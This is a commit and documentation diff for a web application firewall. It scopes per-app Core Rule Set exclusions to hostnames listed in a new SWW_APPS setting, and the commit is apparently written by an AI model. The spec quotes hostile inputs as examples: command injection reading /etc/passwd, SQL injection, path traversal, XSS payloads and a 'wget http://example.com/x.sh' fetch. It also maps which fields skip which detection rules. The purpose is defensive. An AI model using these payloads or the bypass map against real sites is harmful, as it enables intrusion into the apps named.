SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)

Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5

README.md

@@ -221,7 +221,7 @@ account, a key, a token or an alert destination stays off until you give one.
 Every setting the code reads, with its default:
 
 | Variable                                 | Default                                                                                  | What it does                                                                                                                                                                                                                                                            |
-| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | `SWW_COMMAND`                            | `rproxy`                                                                                 | Which command the image runs, and its health check checks: `rproxy` or `discriminator`.                                                                                                                                                                                 |
 | `SWRP_WAF_BACKEND`                       | required                                                                                 | `discriminator`'s URL, such as `http://discriminator:8080`.                                                                                                                                                                                                             |
 | `SWRP_UPSTREAM_URL`                      | `http://127.0.0.1:8081`                                                                  | The app's URL: a scheme, a host and an optional port, nothing more.                                                                                                                                                                                                     |
@@ -280,6 +280,7 @@ Every setting the code reads, with its default:
 | `SWW_WAF_EXEMPT_PATHS`                   | empty                                                                                    | Path prefixes the Core Rule Set does not inspect.                                                                                                                                                                                                                       |
 | `SWW_WAF_BODY_LIMIT`                     | `off`                                                                                    | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none.                                                                                                                                                                               |
 | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE`      | unset                                                                                    | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only.                                                                                                                                                          |
+| `SWW_APPS`                               | unset                                                                                    | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
 | `SWW_BLOCKLIST_URLS`                     | empty                                                                                    | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`.                                                                                                                                             |
 | `SWW_BLOCKLIST_REFRESH`                  | `24h`                                                                                    | How long after a list was last tried it is fetched again, `1h` or more.                                                                                                                                                                                                 |
 | `SWW_BLOCKLIST_ACTION`                   | `deny`                                                                                   | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`.                                                                                                                                                                                  |
@@ -581,31 +582,31 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
   headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
   front of a code forge, bodies carry what people write and publish, which the
   rules take for attacks.
-- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
-  requests get through to the apps listed below. No setting undoes the changes;
-  "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
-- These apps work out of the box at the default settings, and their recorded
-  ordinary requests pass the Core Rule Set:
-    - gitea: git over HTTP and sign-in through Git Credential Manager get
-      through. On gitea's own paths, its searches, file names and branch names
-      do too.
-    - WordPress: saving a post from the block editor gets through. On
-      WordPress's own paths, its searches, names and file names do too.
-    - Drupal: on Drupal's own paths, the page to return to, its searches and its
-      names get through.
-    - MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
-      wikitext get through.
-    - Mastodon: on Mastodon's own paths, its searches, names, email addresses,
-      posts and deliveries from other servers get through.
-    - Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
-      addresses and encrypted file names get through.
-    - Nextcloud: its sync client gets through. On Nextcloud's own paths, its
-      WebDAV methods, searches, file names, account names, comments and
-      documents do too.
-- A random password, as a password manager makes one, gets through these forms:
-    - signing in, on WordPress, Drupal, MediaWiki and Nextcloud;
-    - signing in, signing up, changing the password, and moving or deleting the
-      account, on Mastodon.
+- `smallwebwaf` changes the Core Rule Set in six ways so that it lets ordinary
+  requests to a code forge through, such as git over HTTP and sign-in through
+  Git Credential Manager. No setting undoes the changes; "Attack detection" in
+  [`SPEC.md`](SPEC.md) lists them.
+- Each supported app also has its own fixes, which let its ordinary requests
+  through. Its recorded ordinary requests pass the Core Rule Set at the default
+  settings. The supported apps, by their names in `SWW_APPS`, are:
+    - `gitea`, whose fixes let its searches, file names and branch names
+      through;
+    - `wordpress`, whose fixes let through its searches, its names, its file
+      names and a post saved from the block editor;
+    - `drupal`, whose fixes let through the page to return to, its searches and
+      its names;
+    - `mediawiki`, whose fixes let through its searches, its page titles, its
+      names and its wikitext;
+    - `mastodon`, whose fixes let through its searches, its names, its email
+      addresses, its posts and deliveries from other servers;
+    - `vaultwarden`, whose fixes let through its names, its password hints, its
+      email addresses and its encrypted file names;
+    - `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
+      its searches, its file names, its account names, its comments and its
+      documents.
+- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
+  apps' fixes, and a hostname it does not list gets none. Unset, every app's
+  fixes apply to every hostname.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
   fields or paths.
 - Rule files are plain text, one rule to a line, edited by hand and read again

SPEC.md

@@ -81,8 +81,8 @@ to them.
       of bans is full.
     - `internal/rules`: reads the rule files at start and again when they
       change, and tells which rules a request matches.
-    - `internal/coreruleset`: the Core Rule Set, with the fourteen changes
-      listed under "Attack detection", as Coraza directives.
+    - `internal/coreruleset`: the Core Rule Set, with the six changes and the
+      apps' fixes listed under "Attack detection", as Coraza directives.
     - `internal/lookup`: looks clients up through GeoJS or in the lookup
       database.
     - `internal/reputation`: fetches the lists, asks the DNS blocklists and
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
 - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
   Coraza directives. An exclusion switches one rule off for some fields or paths
   only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
-  holds an app's own exclusions. The eighth to fourteenth changes below hold
-  those of the apps they name.
+  holds an app's own exclusions; the apps' fixes below hold those of each app
+  `SWW_APPS` takes.
     - `discriminator` loads the file after `smallwebwaf`'s own setup rules and
       before the Core Rule Set's rules. The Core Rule Set loads its own
       `REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,23 +723,14 @@ files, the limits and the bans still apply to the client that sends it.
     scanner from an ordinary client. In front of a code forge, registry and git
     clients get `404` and `401` by design, hundreds of times a minute.
 
-`smallwebwaf` changes the Core Rule Set 4.25.0 in fourteen ways. Without them,
-it would refuse ordinary requests to these apps:
-
-- gitea;
-- WordPress;
-- Drupal;
-- MediaWiki;
-- Mastodon;
-- Vaultwarden;
-- Nextcloud.
-
-The changes hold in front of every app, and no setting undoes them:
+`smallwebwaf` changes the Core Rule Set 4.25.0 in six ways, since in front of
+gitea it would otherwise refuse ordinary requests. The changes hold in front of
+every app, and no setting undoes them:
 
 1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
    and `OPTIONS`. APIs, container image pushes and package uploads use them.
-   Other methods stay refused, except on Nextcloud's WebDAV paths, where the
-   fourteenth change allows the WebDAV methods Nextcloud uses.
+   Other methods stay refused, except on Nextcloud's WebDAV paths, where
+   Nextcloud's fixes allow the WebDAV methods Nextcloud uses.
 2. The request header `Expect` is allowed, since curl and git send it before
    some large uploads. `Content-Encoding` is allowed on a request whose body the
    Core Rule Set does not read, which by default is every request. git
@@ -747,19 +738,74 @@ The changes hold in front of every app, and no setting undoes them:
    the Core Rule Set does read, the header stays refused, since a compressed
    body cannot be inspected. While `SWW_WAF_BODY_LIMIT` is set, it stays refused
    too on a `PUT` of JSON, XML or form data to Nextcloud's WebDAV paths, whose
-   body the fourteenth change leaves unread. The other headers the Core Rule Set
+   body Nextcloud's fixes leave unread. The other headers the Core Rule Set
    refuses, such as `Proxy`, stay refused.
 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
    `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
    and tea, which gitea registers for OAuth sign-in, ask to be sent back to
    `http://127.0.0.1` on the user's own machine. The server never fetches that
    address.
-4. Ten query parameters are not checked against the Core Rule Set's lists of
-   system files (930120), shell paths (932160) and command names (932260):
+4. `Referer` is not checked for a Unix command given without arguments (932340),
+   for Java starting a process (944110) or for a Java class name (944130).
+   `Referer` names the page a request comes from, on everything that page loads
+   and on every link followed from it. The Core Rule Set takes some page
+   addresses for attacks:
+    - a search for `env`;
+    - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
+    - a file named `java.lang.String.md`.
+
+    Every request from such a page would be refused. `Referer` keeps the other
+    rules, except after some gitea searches (gitea's fixes). An app that passes
+    `Referer` to a shell must check it itself.
+
+5. Responses are not inspected. A raw file from a repository, such as a shell
+   script, looks to the response rules like source code leaking from the server.
+6. The `from` parameter of a container registry's upload path,
+   `/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
+   a push reuses a layer, `from` names the image the layer comes from. An image
+   such as `owner/python3-app` would have that push refused.
+
+Each supported app also has its own fixes, which let its ordinary requests
+through. `SWW_APPS` says which hostnames get which app's fixes:
+
+- `SWW_APPS` holds entries separated by semicolons. Each is a hostname, a colon,
+  then one or more apps separated by commas, for example
+  `git.example.com:gitea;blog.example.com:wordpress`.
+- The request's `Host` is matched by exact name, without its port and without
+  regard to case. There are no wildcards.
+- A hostname not listed gets no app's fixes, so every rule checks it in full.
+  Set empty, `SWW_APPS` lists no hostname.
+- Unset, every app's fixes hold for every hostname. An app's fixes then weaken
+  the check of any other app that serves the same paths or fields.
+- Any of these mistakes stops the start:
+    - an unknown app;
+    - a hostname that is not a DNS name, such as `*.example.com`;
+    - a hostname listed twice;
+    - an app listed twice for one hostname;
+    - an entry without a colon.
+
+The supported apps are:
+
+- `drupal`;
+- `gitea`;
+- `mastodon`;
+- `mediawiki`;
+- `nextcloud`;
+- `vaultwarden`;
+- `wordpress`.
+
+Each app's fixes are in one file, such as `internal/coreruleset/gitea.conf`, and
+one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
+
+1. Ten parameters are not checked against the Core Rule Set's lists of system
+   files (930120), shell paths (932160) and command names (932260), on any path:
     - `path`, `files`, `skip-to` and `sub_path`;
     - `ref`, `sha`, `branch` and `workflow`;
     - `artifactName` and `redirect_to`.
 
+    They skip these rules in the query, and in a form data or multipart body
+    while `SWW_WAF_BODY_LIMIT` is set.
+
     gitea puts into them file paths, branch and workflow names, and the page to
     return to after signing in. It reads these values as names in a repository
     or in its own records, or as a page of its own site, never as a command. Any
@@ -767,43 +813,19 @@ The changes hold in front of every app, and no setting undoes them:
     or `docker-build`. In these parameters, what only these three rules would
     catch reaches the app, such as the command `|cat /etc/passwd`. Path
     traversal, SQL and script injection, and PHP, Java and Node.js code are
-    still refused there. Other parameters keep all three rules. The eighth to
-    fourteenth changes switch some of them off for some fields on the paths of
-    the apps they name. An app that uses one of these parameters as a file on
-    the server, or passes it to a shell, must check the value itself. A rule
-    file can refuse it instead.
+    still refused there. Other parameters keep all three rules, except on the
+    paths named in gitea's third fix and in the other apps' fixes.
 
-5. Two cookies are left out, and `Referer` keeps fewer rules:
-    - The Core Rule Set reads the request without the `gitea_flash` and
+2. The Core Rule Set reads the request without the `gitea_flash` and
    `redirect_to` cookies. gitea puts a message naming what was just done into
-      `gitea_flash`. It puts into `redirect_to` the page to return to after
-      signing in. The Core Rule Set takes file names in them, such as
-      `package.json`, for attacks. A browser sends such a cookie with every
-      request until gitea replaces it. gitea cannot replace it while those
-      requests are refused, so one refusal would keep the browser out of the
-      whole site. gitea shows the message with any script removed and returns
-      only to its own pages. Every other cookie is read in full. An app that
-      reads a cookie of either name must check it itself.
-    - `Referer` is not checked for a Unix command given without arguments
-      (932340), for Java starting a process (944110) or for a Java class name
-      (944130). `Referer` names the page a request comes from, on everything
-      that page loads and on every link followed from it. The Core Rule Set
-      takes some page addresses for attacks:
-        - a search for `env`;
-        - OpenJDK's `Runtime.java`, whose path holds both `runtime` and `java.`;
-        - a file named `java.lang.String.md`.
-
-        Every request from such a page would be refused. `Referer` keeps the
-        other rules, except after some gitea searches (the eighth change). An
-        app that passes `Referer` to a shell must check it itself.
-
-6. Responses are not inspected. A raw file from a repository, such as a shell
-   script, looks to the response rules like source code leaking from the server.
-7. The `from` parameter of a container registry's upload path,
-   `/v2/<image>/blobs/uploads/`, is not checked for command names (932260). When
-   a push reuses a layer, `from` names the image the layer comes from. An image
-   such as `owner/python3-app` would have that push refused.
-8. On gitea's paths, some fields skip the rules that refused ordinary gitea
+   `gitea_flash`. It puts into `redirect_to` the page to return to after signing
+   in. The Core Rule Set takes file names in them, such as `package.json`, for
+   attacks. A browser sends such a cookie with every request until gitea
+   replaces it. gitea cannot replace it while those requests are refused, so one
+   refusal would keep the browser out of the whole site. gitea shows the message
+   with any script removed and returns only to its own pages. Every other cookie
+   is read in full.
+3. On gitea's paths, some fields skip the rules that refused ordinary gitea
    requests there. They are the fields where gitea sends a search, a file name
    or a branch name. `internal/coreruleset/gitea.conf` lists each rule and the
    request it refused. The fields are:
@@ -821,8 +843,7 @@ The changes hold in front of every app, and no setting undoes them:
         - packages.
 
         A user's or an organisation's page is any path of one segment, so on
-        every such path, on any app, `q` skips these three rules, for example on
-        `/search`.
+        every such path `q` skips these three rules, for example on `/search`.
 
         Some of these searches also skip the rule for Java class names (944130),
         which refused `org.apache.commons.logging`.
@@ -860,43 +881,41 @@ The changes hold in front of every app, and no setting undoes them:
       `actions/upload-artifact@v3` (920450).
 
     Elsewhere these fields keep every rule. The paths are those of gitea at the
-    site root. An app other than gitea that serves one of them must check these
-    fields itself.
+    site root.
+
+WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
+ordinary WordPress requests there. `internal/coreruleset/wordpress.conf` lists
+each rule and the request it refused. The REST API has four addresses:
 
-9. On WordPress's paths, some fields skip the rules that refused ordinary
-   WordPress requests there. `internal/coreruleset/wordpress.conf` lists each
-   rule and the request it refused. The REST API has four addresses:
 - `/wp-json/...`
 - `/index.php/wp-json/...`
 - `/index.php?rest_route=/...`
 - `/?rest_route=/...`
 
 The fields are:
-    - The header `X-HTTP-Method-Override` on any address of the REST API
-      (920450). The block editor saves a post with `POST` and names `PUT` in
-      this header.
-    - Three groups of fields skip the rules on system files and commands
-      (930120, 932120, 932250, 932260). The fields hold searches, names and
-      addresses of WordPress's own pages, and any of them can hold any word. The
-      groups are:
+
+- The header `X-HTTP-Method-Override` on any address of the REST API (920450).
+  The block editor saves a post with `POST` and names `PUT` in this header.
+- Three groups of fields skip the rules on system files and commands (930120,
+  932120, 932250, 932260). The fields hold searches, names and addresses of
+  WordPress's own pages, and any of them can hold any word. The groups are:
     - On all of `/wp-admin/` and on `/wp-login.php`:
         - the searches `s`, `search`, `q` and `term`;
-            - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme`
-              and `stylesheet`;
+        - the names `tag`, `category_name`, `plugin`, `checked[]`, `theme` and
+          `stylesheet`;
         - the name of a plugin's settings page in `page`;
-            - the addresses `url`, `return`, `redirect_to`, `wp_http_referer`
-              and `_wp_http_referer`.
+        - the addresses `url`, `return`, `redirect_to`, `wp_http_referer` and
+          `_wp_http_referer`.
     - On every REST API route under `/wp/v2/` and on the route
       `/oembed/1.0/embed`: `search`, `term`, `slug` and `url`.
-        - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and
-          `tag`.
+    - On `/`, `/index.php`, `/page/N/` and `/index.php/page/N/`: `s` and `tag`.
 
     The addresses of the first group also skip the rule on Unix commands
     (932235), because an address repeats the search it came from. The other
     fields of the groups keep that rule.
 
-    - On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists
-      of PowerShell commands and command names (932120, 932260):
+- On all of `/wp-admin/` and on `/wp-login.php`, these names skip the lists of
+  PowerShell commands and command names (932120, 932260):
     - the name of a template in `p` and `postId` of the site editor;
     - the name of a plugin to install in `slug`.
 
@@ -904,55 +923,40 @@ The changes hold in front of every app, and no setting undoes them:
 
 - `url` on the REST API routes `/wp-block-editor/v1/url-details` and
   `/oembed/1.0/proxy`, for the lists of system files and PowerShell commands
-      (930120, 932120). The block editor's link previews and embeds send an
-      address in this field.
+  (930120, 932120). The block editor's link previews and embeds send an address
+  in this field.
 
-    - `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given
-      without arguments (932340). The media list's own address ends in `&ps`.
-    - `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`,
-      for the lists of system files, shell paths, command names and JavaScript
-      names (930120, 932120, 932160, 932260, 941180).
-    - These fields of a body. Each applies only when the query has no parameter
-      of that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
-        - `content` of a post, a page, a template or a template part saved
-          through the REST API. It holds HTML and any code it shows.
+- `_wp_http_referer` on `/wp-admin/upload.php`, for a Unix command given without
+  arguments (932340). The media list's own address ends in `&ps`.
+- `file` on `/wp-admin/plugin-editor.php` and `/wp-admin/theme-editor.php`, for
+  the lists of system files, shell paths, command names and JavaScript names
+  (930120, 932120, 932160, 932260, 941180).
+- These fields of a body. Each applies only when the query has no parameter of
+  that name, so it matters only while `SWW_WAF_BODY_LIMIT` is set:
+    - `content` of a post, a page, a template or a template part saved through
+      the REST API. It holds HTML and any code it shows.
     - `content` of a reply to a comment sent to `admin-ajax.php`.
-        - `newcontent` of a plugin's or a theme's file saved from its editor,
-          which is PHP.
-        - `pwd`, the password when signing in, for each rule that random
-          passwords set off:
+    - `newcontent` of a plugin's or a theme's file saved from its editor, which
+      is PHP.
+    - `pwd` when signing in, for the list of system files (930120).
+    - `title`, `excerpt` and `name` in a JSON body sent to any REST API route
+      under `/wp/v2/`, for the rules on system files and commands (930120,
+      932120, 932250, 932260).
+    - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for the
+      lists of PowerShell commands and command names (932120, 932260).
+    - `url` on `/wp-comments-post.php`, the address of a commenter's site, for
+      the lists of system files and PowerShell commands (930120, 932120).
 
-            920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130,
-            932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340,
-            932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120,
-            941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320,
-            942540, 942550, 944150.
+Elsewhere WordPress's fixes do not apply. The paths are those of WordPress at
+the site root.
 
-            `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-            `<img src=x onerror=x()>` sent as the password reach WordPress;
-            `<script>alert(1)</script>` and `javascript:alert(1)` are still
-            refused.
+Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
+ordinary Drupal requests there. `internal/coreruleset/drupal.conf` lists each
+rule and the request it refused. These query fields skip the lists of system
+files and command names (930120, 932120, 932250, 932260):
 
-        - `title`, `excerpt` and `name` in a JSON body sent to any REST API
-          route under `/wp/v2/`, for the rules on system files and commands
-          (930120, 932120, 932250, 932260).
-        - `slug` in a JSON body sent to any REST API route under `/wp/v2/`, for
-          the lists of PowerShell commands and command names (932120, 932260).
-        - `url` on `/wp-comments-post.php`, the address of a commenter's site,
-          for the lists of system files and PowerShell commands (930120,
-          932120).
-
-    Elsewhere this change does not apply. The paths are those of WordPress at
-    the site root. An app other than WordPress that serves one of them must
-    check these fields itself.
-
-10. On Drupal's paths, some fields skip the rules that refused ordinary Drupal
-    requests there. `internal/coreruleset/drupal.conf` lists each rule and the
-    request it refused. These query fields skip the lists of system files and
-    command names (930120, 932120, 932250, 932260):
-    - On every page under `/admin`: `title`, `name`, `user`, `filename`,
-      `filemime`, `info`, `subject`, `author_name`, `search`, `q` and
-      `destination`.
+- On every page under `/admin`: `title`, `name`, `user`, `filename`, `filemime`,
+  `info`, `subject`, `author_name`, `search`, `q` and `destination`.
 - `destination` on the pages Drupal links to with one, such as these:
     - `/node/1/edit`;
     - `/user/login`;
@@ -965,16 +969,16 @@ The changes hold in front of every app, and no setting undoes them:
     - `/ckeditor5/{editor}/entity-link-suggestions`;
     - `/block-category/autocomplete`.
 - Every `filter[...]` field on `/jsonapi/`.
-    - `name` on `/user/password`, `/media-library` and `/views/ajax`, in the
-      query or a body.
+- `name` on `/user/password`, `/media-library` and `/views/ajax`, in the query
+  or a body.
 
-    `destination` also skips 932230 and 932235, because it holds the address of
-    a page of results. `url` on `/media/oembed`, the address of a video, skips
-    only 930120 and 932120.
+`destination` also skips 932230 and 932235, because it holds the address of a
+page of results. `url` on `/media/oembed`, the address of a video, skips only
+930120 and 932120.
 
 These fields of a body skip the rules that refused them:
-    - On the node, comment and media forms, for 930120, 932120, 932250 and
-      932260:
+
+- On the node, comment and media forms, for 930120, 932120, 932250 and 932260:
     - the title;
     - the summary;
     - the tags;
@@ -997,44 +1001,32 @@ The changes hold in front of every app, and no setting undoes them:
     - `description.value`.
 - The title saved through Drupal's JSON format on `/node/{id}`, for the same
   four rules.
-    - The body and comment body on the node and comment forms and through
-      JSON:API, which hold HTML and any code it shows.
+- The body and comment body on the node and comment forms and through JSON:API,
+  which hold HTML and any code it shows.
 - `name` and `pass` when signing in (930120, 932120, 932250, 932260).
-    - `pass`, the password when signing in, in form data or JSON, for each rule
-      that random passwords set off:
-
-        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-        `<img src=x onerror=x()>` sent as the password reach Drupal;
-        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
-
 - `name` when resetting a password through Drupal's JSON format on
   `/user/password`, for the same four rules.
 - `mail` in that same reset, for 932120 and 932260 only.
-    - `name` when signing up, editing an account and commenting without an
-      account, for the same four rules.
+- `name` when signing up, editing an account and commenting without an account,
+  for the same four rules.
 - `mail` on those forms, for 930120, 932120 and 932260 only.
 
 These exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies
 when the query has a parameter of the same name.
 
 Elsewhere these fields keep every rule. The paths are those of Drupal at the
-    site root, with or without a language prefix such as `/fr`. Such a prefix is
-    any first path segment of two or three lowercase letters, optionally
-    followed by a hyphen and more letters, so `/api` counts too. An app other
-    than Drupal that serves one of them must check these fields itself.
+site root, with or without a language prefix such as `/fr`. Such a prefix is any
+first path segment of two or three lowercase letters, optionally followed by a
+hyphen and more letters, so `/api` counts too.
 
-11. On MediaWiki's paths, some fields skip the rules that refused ordinary
-    MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists each
-    rule and the request it refused. These fields skip the lists of system files
-    and command names (930120, 932120, 932250, 932260), in the query or the
+MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that refused
+ordinary MediaWiki requests there. `internal/coreruleset/mediawiki.conf` lists
+each rule and the request it refused. These fields skip the lists of system
+files and command names (930120, 932120, 932250, 932260), in the query or the
 body:
-    - On MediaWiki's pages, which are `/index.php` and the paths under
-      `/index.php/` and `/wiki/`:
+
+- On MediaWiki's pages, which are `/index.php` and the paths under `/index.php/`
+  and `/wiki/`:
     - the searches `search` and `ilsearch`;
     - the titles `title`, `page` and `target`;
     - `from`, `to` and `prefix`, which limit a list of pages;
@@ -1046,12 +1038,12 @@ The changes hold in front of every app, and no setting undoes them:
     - the searches `search`, `srsearch` and `pssearch`;
     - the titles `titles`, `title`, `page` and `bltitle`;
     - `from` and `to`, the titles of a page being moved;
-        - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
-          `aiprefix`, `aufrom` and `auprefix`;
+    - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`, `aiprefix`,
+      `aufrom` and `auprefix`;
     - `letitle`, the page whose log is listed;
     - `euquery`, an address;
-        - the fields a generator sends in place of the fields above, each with a
-          `g` in front:
+    - the fields a generator sends in place of the fields above, each with a `g`
+      in front:
         - `gsrsearch` and `gpssearch`;
         - `gapfrom`, `gapto` and `gapprefix`;
         - `gaifrom` and `gaiprefix`;
@@ -1062,81 +1054,68 @@ The changes hold in front of every app, and no setting undoes them:
     - `lgname`, `lgpassword`, `username` and `password`, for signing in.
 - `q` on `/rest.php/` and the paths under it.
 
-    `modules` on `/load.php` skips 930120 alone, because it lists the scripts
-    and styles a page loads.
+`modules` on `/load.php` skips 930120 alone, because it lists the scripts and
+styles a page loads.
 
 These fields of a body skip the rules that refused them:
+
 - On MediaWiki's pages, for the same four rules:
     - `wpSummary`, the summary of an edit;
     - `wpUploadDescription`, the description of an uploaded file;
     - `wpName` and `wpPassword`, for signing in;
     - `wpOldTitle`, `wpNewTitleMain` and `wpReason`, for moving a page.
 - `comment` in the JSON body of `/rest.php/`, for the same four rules.
-    - On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the
-      admin pages:
+- On MediaWiki's pages, for 930120 and 932120 alone, the reasons on the admin
+  pages:
     - `wpReason-other`, for blocking a user;
     - `user-reason`, for changing a user's groups;
     - `mwProtect-reason`, for protecting a page.
 - On MediaWiki's pages, `wpTitles`, the list of watched pages that
-      `Special:EditWatchlist/raw` sends, one title per line. It always skips
-      930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
-      932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
-      starting with a command name, such as `Python3 notes`, passes. So does a
-      command alone on a line, such as `wget http://example.com/x.sh`. A command
-      such as `; wget http://example.com/x.sh` is still refused. So is a list
-      that mixes a title holding one of these characters with a title starting
-      with a command name.
-    - The wikitext of a page, which holds templates, tables and any code it
-      shows:
+  `Special:EditWatchlist/raw` sends, one title per line. It always skips 930120,
+  932120 and 932250. It skips 932125, 932230, 932235, 932260 and 932380 only
+  when it holds no `;`, `|`, `&`, backtick or `{`. A title starting with a
+  command name, such as `Python3 notes`, passes. So does a command alone on a
+  line, such as `wget http://example.com/x.sh`. A command such as
+  `; wget http://example.com/x.sh` is still refused. So is a list that mixes a
+  title holding one of these characters with a title starting with a command
+  name.
+- The wikitext of a page, which holds templates, tables and any code it shows:
     - `wpTextbox1` on MediaWiki's pages;
     - `text`, `appendtext` and `prependtext` on `/api.php`;
     - `source` in the JSON body of `/rest.php/`.
-    - The passwords when signing in:
-        - `wpPassword` on MediaWiki's pages;
-        - `lgpassword` and `password` on `/api.php`.
-
-        They skip each rule that random passwords set off:
-
-        920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160,
-        932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380,
-        933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100,
-        942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.
-
-        `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
-        `<img src=x onerror=x()>` sent as a password reach MediaWiki;
-        `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
 
 These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
 applies when the query has a parameter of the same name.
 
-    The names of uploaded files skip 932180 on MediaWiki's pages and on
-    `/api.php`, so a picture named `Notes on .htaccess.png` can be uploaded.
-    MediaWiki refuses a file whose extension it does not allow.
+The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
+so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
+file whose extension it does not allow.
 
-    `/index.php` itself counts as MediaWiki's only when its query has a `title`,
-    as in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A
-    wiki without short URLs serves its pages under `/index.php/`, as in
+`/index.php` itself counts as MediaWiki's only when its query has a `title`, as
+in `/index.php?title=Main_Page`. WordPress serves `/index.php` too. A wiki
+without short URLs serves its pages under `/index.php/`, as in
 `/index.php/Main_Page`, and its sign-in and upload forms post there.
 
-    Elsewhere these fields keep every rule. The paths are those of MediaWiki at
-    the site root or under `/w/`. An app other than MediaWiki that serves one of
-    them must check these fields itself.
+Elsewhere these fields keep every rule. The paths are those of MediaWiki at the
+site root or under `/w/`.
+
+Mastodon's fixes: on Mastodon's paths, some fields skip the rules that refused
+ordinary Mastodon requests there. `internal/coreruleset/mastodon.conf` lists
+each rule and the request it refused. These fields skip the lists of system
+files and command names (930120, 932120, 932250, 932260), in the query:
 
-12. On Mastodon's paths, some fields skip the rules that refused ordinary
-    Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each
-    rule and the request it refused. These fields skip the lists of system files
-    and command names (930120, 932120, 932250, 932260), in the query:
 - On the API's search, accounts and admin accounts, under `/api/v1/` and
-      `/api/v2/`, the searches and names `q`, `acct`, `username`,
-      `display_name`, `email` and `by_domain`.
+  `/api/v2/`, the searches and names `q`, `acct`, `username`, `display_name`,
+  `email` and `by_domain`.
 - On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
-      `/admin/tags`, the searches `username`, `display_name`, `email`,
-      `by_domain`, `shortcode` and `name`.
+  `/admin/tags`, the searches `username`, `display_name`, `email`, `by_domain`,
+  `shortcode` and `name`.
 - `q` on `/search`, the web app's search page.
 
 These fields of a body skip the same four rules:
-    - On these API resources, under `/api/v1/` or `/api/v2/`, and the paths
-      under them:
+
+- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths under
+  them:
     - `statuses`, `media` and `reports`;
     - `accounts` and `profile`;
     - `lists`, `filters` and `featured_tags`;
@@ -1144,12 +1123,12 @@ The changes hold in front of every app, and no setting undoes them:
 - On those resources, these fields:
     - `spoiler_text` and `poll[options][]`, for posting;
